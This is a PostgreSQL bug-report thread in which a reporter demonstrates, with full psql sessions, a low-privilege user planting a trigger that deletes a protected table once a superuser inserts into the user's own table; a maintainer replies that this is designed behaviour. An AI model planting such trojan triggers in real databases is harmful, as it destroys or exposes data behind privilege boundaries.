Thread: BUG #18936: Trigger enable users to modify the tables which he doesn't have privilege

The following bug has been logged on the website:

Bug reference:      18936
Logged by:          Chi Zhang
Email address:      798604270@qq.com
PostgreSQL version: 17.5
Operating system:   Ubuntu 24.04 and docker
Description:

I found that the trigger enables a user to modify the tables which he
doesn't have privilege.
For example, I use the superuser account to create a database `test` and
create a TABLE `t1(c0 int)`, and I also create a user `test` with only
CREATE privilege.
```
zc@DESKTOP-AA5PU2J:~/UDFTest/target$ docker exec -it some-postgres psql -U
postgres
psql (17.5 (Debian 17.5-1.pgdg120+1))
Type "help" for help.
postgres=# \c test
You are now connected to database "test" as user "postgres".
test=# create table t1(c0 int);
CREATE TABLE
test=# insert into t1(c0) values (2);
INSERT 0 1
test=# select * from t1;
 c0
----
  2
(1 row)
test=# GRANT CREATE ON SCHEMA public TO test;
GRANT
```
Then I create a TABLE t0(c0) with user `test` and also create a trigger.
```
zc@DESKTOP-AA5PU2J:~/UDFTest/target$ docker exec -it some-postgres psql -U
test
psql (17.5 (Debian 17.5-1.pgdg120+1))
Type "help" for help.
test=> create table t0(c0 int);
CREATE TABLE
test=> insert into t0(c0) values (1);
INSERT 0 1
test=> select * from t1;
ERROR:  permission denied for table t1
test=> CREATE OR REPLACE FUNCTION delete_func()
RETURNS trigger AS $$
BEGIN
    DELETE FROM t1;
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE FUNCTION
test=> CREATE TRIGGER tr2
AFTER INSERT ON t0
FOR EACH ROW
EXECUTE FUNCTION delete_func();
CREATE TRIGGER
test=> INSERT INTO t0(c0) VALUES (1);
ERROR:  permission denied for table t1
CONTEXT:  SQL statement "DELETE FROM t1"
PL/pgSQL function delete_func() line 3 at SQL statement
```
With user `test`, I can not select from t1 as he doesn't have privilege on
t1. in the trigger tr2, on each INSERT on t0, the data in t1 will be
deleted. `test` can not fire this trigger as he doesn't have the prigilege
on t1.
However, this trigger will be automatically executed when the superuser
insert into t0.
```
zc@DESKTOP-AA5PU2J:~/UDFTest/target$ docker exec -it some-postgres psql -U
postgres
psql (17.5 (Debian 17.5-1.pgdg120+1))
Type "help" for help.
postgres=# \c test
You are now connected to database "test" as user "postgres".
test=# select * from t1;
 c0
----
  2
(1 row)
test=# INSERT INTO t0(c0) VALUES (1);
INSERT 0 1
test=# select * from t1;
 c0
----
(0 rows)
```
If an attacker gains privileges on a table, they can exploit triggers to
modify or exfiltrate data from other tables, provided the trigger can be
activated by either a superuser or a user with privileges on the target
tables.

On Tue, 2025-05-20 at 13:07 +0000, PG Bug reporting form wrote:
> If an attacker gains privileges on a table, they can exploit triggers to
> modify or exfiltrate data from other tables, provided the trigger can be
> activated by either a superuser or a user with privileges on the target
> tables.

That's working as designed.
If a superuser performs a data modification on a table owned by an
untrustworthy user, it is "game over".
That is one of the reasons why you should use a superuser only for tasks
that require superuser privileges.

Yours,
Laurenz Albe